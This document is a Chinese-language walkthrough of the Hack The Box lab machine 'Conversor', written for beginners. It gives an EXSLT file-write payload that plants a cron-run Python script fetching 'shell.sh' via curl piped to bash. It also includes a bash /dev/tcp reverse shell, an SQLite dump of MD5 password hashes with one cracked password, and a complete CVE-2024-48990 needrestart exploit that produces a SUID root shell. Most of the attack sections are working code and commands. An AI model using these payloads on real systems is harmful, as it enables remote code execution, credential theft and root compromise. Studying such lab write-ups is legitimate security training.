HTB Conversor靶机实战记录:从XSLT沙箱逃逸到Root权限

Source

靶机概览

HTB Conversor是一台EASY难度的Linux靶机,围绕Web应用安全(XSLT漏洞)和权限提升展开。

渗透路径:

#1  通过Web应用上传功能利用EXSLT扩展漏洞写入恶意脚本到cronjob目录;

#2  横向移动获取用户凭据;

#3  利用CVE-2024-48990漏洞通过needrestart提权,最终获取root权限并读取flag文件。

整个渗透过程涉及XSLT注入、文件写入、定时任务利用和本地提权等技术,适合初学者学习基础渗透技术。

初始访问

1. Nmap扫描

nmap -sV -A 10.10.11.92

2. Web应用探测

(1)访问目标Web服务

访问 10.10.11.91 显示域名 conversor.htb ,将其添加到 hosts 解析后访问,页面提供了用户注册和登录功能。

(2)功能测试

注册账号并登录,发现核心功能:上传XML和XSLT文件进行转换生成HTML报告。

(3)信息收集

点击Download Template,获得官方文档nmap.xslt

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="html" indent="yes" />

  <xsl:template match="/">
    <html>
      <head>
        <title>Nmap Scan Results</title>
        <style>
          body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(120deg, #141E30, #243B55);
            color: #eee;
            margin: 0;
            padding: 0;
          }
          h1, h2, h3 {
            text-align: center;
            font-weight: 300;
          }
          .card {
            background: rgba(255, 255, 255, 0.05);
            margin: 30px auto;
            padding: 20px;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.5);
            width: 80%;
          }
          table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
          }
          th, td {
            padding: 10px;
            text-align: center;
          }
          th {
            background: rgba(255,255,255,0.1);
            color: #ffcc70;
            font-weight: 600;
            border-bottom: 2px solid rgba(255,255,255,0.2);
          }
          tr:nth-child(even) {
            background: rgba(255,255,255,0.03);
          }
          tr:hover {
            background: rgba(255,255,255,0.1);
          }
          .open {
            color: #00ff99;
            font-weight: bold;
          }
          .closed {
            color: #ff5555;
            font-weight: bold;
          }
          .host-header {
            font-size: 20px;
            margin-bottom: 10px;
            color: #ffd369;
          }
          .ip {
            font-weight: bold;
            color: #00d4ff;
          }
        </style>
      </head>
      <body>
        <h1>Nmap Scan Report</h1>
        <h3><xsl:value-of select="nmaprun/@args"/></h3>

        <xsl:for-each select="nmaprun/host">
          <div class="card">
            <div class="host-header">
              Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
              <xsl:if test="hostnames/hostname/@name">
                (<xsl:value-of select="hostnames/hostname/@name"/>)
              </xsl:if>
            </div>
            <table>
              <tr>
                <th>Port</th>
                <th>Protocol</th>
                <th>Service</th>
                <th>State</th>
              </tr>
              <xsl:for-each select="ports/port">
                <tr>
                  <td><xsl:value-of select="@portid"/></td>
                  <td><xsl:value-of select="@protocol"/></td>
                  <td><xsl:value-of select="service/@name"/></td>
                  <td>
                    <xsl:attribute name="class">
                      <xsl:value-of select="state/@state"/>
                    </xsl:attribute>
                    <xsl:value-of select="state/@state"/>
                  </td>
                </tr>
              </xsl:for-each>
            </table>
          </div>
        </xsl:for-each>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>
(4)正常功能验证

通过官方文档了解应用功能,使用nmap生成测试XML:

nmap -oX nuii.xml 127.0.0.1

使用官方nmap.xslt验证转换功能正常工作:

  • 上传nuii.xml + nmap.xslt

  • 成功生成格式化的HTML报告

  • 确认XSLT处理器正常运行

(5)XSLT漏洞利用尝试

XXE注入尝试

<xsl:value-of select="document('file:///etc/passwd')"/>

结果Error: Cannot resolve URI file:///etc/passwd

文件读取尝试

<xsl:value-of select="unparsed-text('file:///etc/passwd')"/>

结果Invalid type

SSRF尝试

<xsl:value-of select="document('http://127.0.0.1:8000/')"/>

结果Error: Cannot resolve URI http://127.0.0.1:8000/

尝试了多种XSLT注入技术均被拦截,安全配置有效阻挡了标准攻击路径。

(6)关键突破 - 源码发现与分析

About页面提供应用源码下载,包含关键文件:

  • app.py - Flask应用主程序

  • install.md - 部署配置文件

  • ...

(7)源代码分析

关键漏洞点:XSLT处理器配置不完整

app.py/convert路由中发现安全漏洞:

@app.route('/convert', methods=['POST'])
def convert():
    # 安全配置阻挡标准攻击但不够完善
    parser = etree.XMLParser(resolve_entities=False, no_network=True, 
                           dtd_validation=False, load_dtd=False)
    xslt_tree = etree.parse(xslt_path)  # ⚠️ 无沙箱限制!
    transform = etree.XSLT(xslt_tree)   # ⚠️ 直接执行XSLT转换

其他关键发现:

# install.md中的定时任务配置
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

漏洞详情:

  • 使用lxml库处理XSLT但未禁用EXSLT扩展

  • EXSLT的document扩展支持文件写入功能

  • cron job每分钟自动执行scripts目录下的Python脚本

  • 组合利用可实现代码执行

(8)确定渗透路径

从标准的XSLT攻击转向利用:

  1. EXSLT扩展功能(未被禁用)

  2. cron job自动执行(scripts目录)

  3. 文件写入+定时执行组合攻击

获取反向Shell

1. 最终攻击载荷

经过多次标准XSLT攻击尝试失败后,利用EXSLT扩展构造文件写入载荷(nuii.xslt):

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.16.30:8888/shell.sh|bash")
        </shell:document>
    </xsl:template>

</xsl:stylesheet>

2. 触发反向连接

(1)攻击准备
# 在攻击机准备shell.sh
echo 'bash -i >& /dev/tcp/10.10.16.30/4444 0>&1' > shell.sh

# 启动HTTP服务
python3 -m http.server 8888

# 启动监听
nc -nlvp 4444
(2)通过XSLT转换功能触发代码执行

上传XML文件(nuii.xml)和恶意XSLT(nuii.xslt)文件,等待cron job自动执行(最多60秒)。

3. 获取反向shell

成功获得反向连接:

横向移动

1. 查找数据库文件

find / -name "*.db" 2>/dev/null

2. 分析数据库

www-data@conversor:~$ ls -la /var/www/conversor.htb/instance/users.db
-rwxr-x--- 1 www-data www-data 24576 Oct 31 11:24 /var/www/conversor.htb/instance/users.db

www-data@conversor:~$ sqlite3 /var/www/conversor.htb/instance/users.db ".tables"
files  users

www-data@conversor:~$ sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|test|098f6bcd4621d373cade4e832627b4f6
6|nuii|3e2bd6c4bd25ca17eeee03dccfe703e2

3. 破解哈希

使用在线工具破解MD5哈希:

  • fismathack:5b5c3ac3a1c897c94caad48e6c71fdec → Keepmesafeandwarm

  • test:098f6bcd4621d373cade4e832627b4f6 → test (已知哈希)

  • nuii:3e2bd6c4bd25ca17eeee03dccfe703e2 → (我刚刚注册的账号)

4. 切换用户

ww-data@conversor:~$ su fismathack
Password: Keepmesafeandwarm

fismathack@conversor:/var/www/conversor.htb$ id
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)

权限提升

1. 检查sudo权限

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

#重点#

User fismathack may run the following commands on conversor: (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

fismathack 用户可以使用 sudo 无密码运行 /usr/sbin/needrestart

2. CVE-2024-48990

CVE-2024-48990 详细信息

描述

Qualys发现,在3.8版本之前,needrestart允许本地攻击者通过欺骗needrestart运行带有攻击者控制的PYTHONPATH环境变量的Python解释器来执行任意代码作为根代码。

其他参考资料:

https://github.com/ns989/CVE-2024-48990?tab=readme-ov-file

https://www.qualys.com/2024/11/19/needrestart/needrestart.txt

3. 基于CVE-2024-48990构造攻击载荷

攻击链

普通用户进程 → 设置恶意PYTHONPATH → Needrestart扫描 → 继承环境变量 → 加载恶意模块 → Root权限代码执行 → 权限提升

构造Exploit脚本 (nuii.sh):

#!/bin/bash

echo "[+] 启动exploit..."

# 创建必要的目录结构
mkdir -p /home/fismathack/exploit/importlib

# 创建恶意模块
cat > /home/fismathack/exploit/importlib/__init__.py << 'END'
import os
import subprocess
import sys

# 禁用输出缓冲
sys.stderr = sys.stdout

def root_exploit():
    if os.geteuid() == 0:
        
        shell_path = "/home/fismathack/root_shell"
        
        # 复制bash并重命名
        subprocess.run(["/bin/cp", "/bin/bash", shell_path], capture_output=True)
        
        # 设置SUID
        subprocess.run(["/bin/chmod", "4755", shell_path], capture_output=True)
        os.chmod(shell_path, 0o4755)
        
        # 创建成功标志
        open("/home/fismathack/exploit_success", "w").close()

root_exploit()
END

# 监控脚本
cat > /home/fismathack/exploit/nuii.py << 'END'
import time
import os
import subprocess
import sys

# 禁用Python输出缓冲
sys.stdout = sys.stderr
print("[+] 启动提权监控...", flush=True)

def start_suid_shell():
    shell_path = "/home/fismathack/root_shell"
    if os.path.exists(shell_path) and os.stat(shell_path).st_mode & 0o4000:
        print(f"[+] 找到SUID shell: {shell_path}", flush=True)
        
        # 检查文件权限
        import stat
        file_mode = os.stat(shell_path).st_mode
        print(f"[+] 文件权限: {oct(file_mode)}", flush=True)
        
        print("[+] SUID shell工作正常,启动交互式shell...", flush=True)
        
        # 设置环境
        env = os.environ.copy()
        env['PS1'] = 'nuii# '
        env['TERM'] = 'xterm'
        
        # 启动完整的交互式shell
        os.execl(shell_path, "root_shell", "-p")
        return True
    return False

print(f"[+] 监控PID: {os.getpid()}", flush=True)
print("[*] 触发系统服务...", flush=True)

# 触发服务
for trigger in ["sudo /usr/sbin/needrestart", "sudo systemctl daemon-reload"]:
    try:
        subprocess.run(trigger.split(), timeout=2, capture_output=True)
    except:
        pass

# 等待并执行
timeout = 30
start_time = time.time()

while time.time() - start_time < timeout:
    try:
        import importlib
        print("[+] 恶意模块执行成功!", flush=True)
    except Exception as e:
        pass
    
    if os.path.exists("/home/fismathack/exploit_success"):
        print("[+] 提权成功! 启动shell...", flush=True)
        time.sleep(1)
        
        if start_suid_shell():
            break
    
    time.sleep(0.5)
END

# 执行 - 使用无缓冲模式
echo "[+] 开始提权..."
cd /home/fismathack/exploit
PYTHONPATH="/home/fismathack/exploit" python3 -u /home/fismathack/exploit/nuii.py

4. 上传Exploit

(1)启用代理

┌──(kali㉿Nuii)-[~]
└─$ python3 -m http.server 8000

(2)上传Exploit

fismathack@conversor:~$ wget http://10.10.16.30:8000/nuii.sh

(3)执行Exploit

fismathack@conversor:~$ bash nuii.sh

执行输出:

[+] 启动exploit...
[+] 开始提权...
Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
  Traceback (most recent call last):
    File "/usr/lib/python3.10/site.py", line 192, in addpackage
      exec(line)
    File "<string>", line 1, in <module>
  ModuleNotFoundError: No module named 'importlib.util'
Remainder of file ignored
[+] 启动提权监控...
[+] 监控PID: 4046
[*] 触发系统服务...
[+] 恶意模块执行成功!
[+] 提权成功! 启动shell...
[+] 找到SUID shell: /home/fismathack/root_shell
[+] 文件权限: 0o104755
[+] SUID shell工作正常,启动交互式shell...

5. 验证Root权限

id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)

whoami
root

获取Flag

1. 全局搜索flag文件

find / -type f \( -name "root.txt" -o -name "user.txt" \) 2>/dev/null
/home/fismathack/user.txt
/root/root.txt

2. user flag

cat /home/fismathack/user.txt

3. root flag

cat /root/root.txt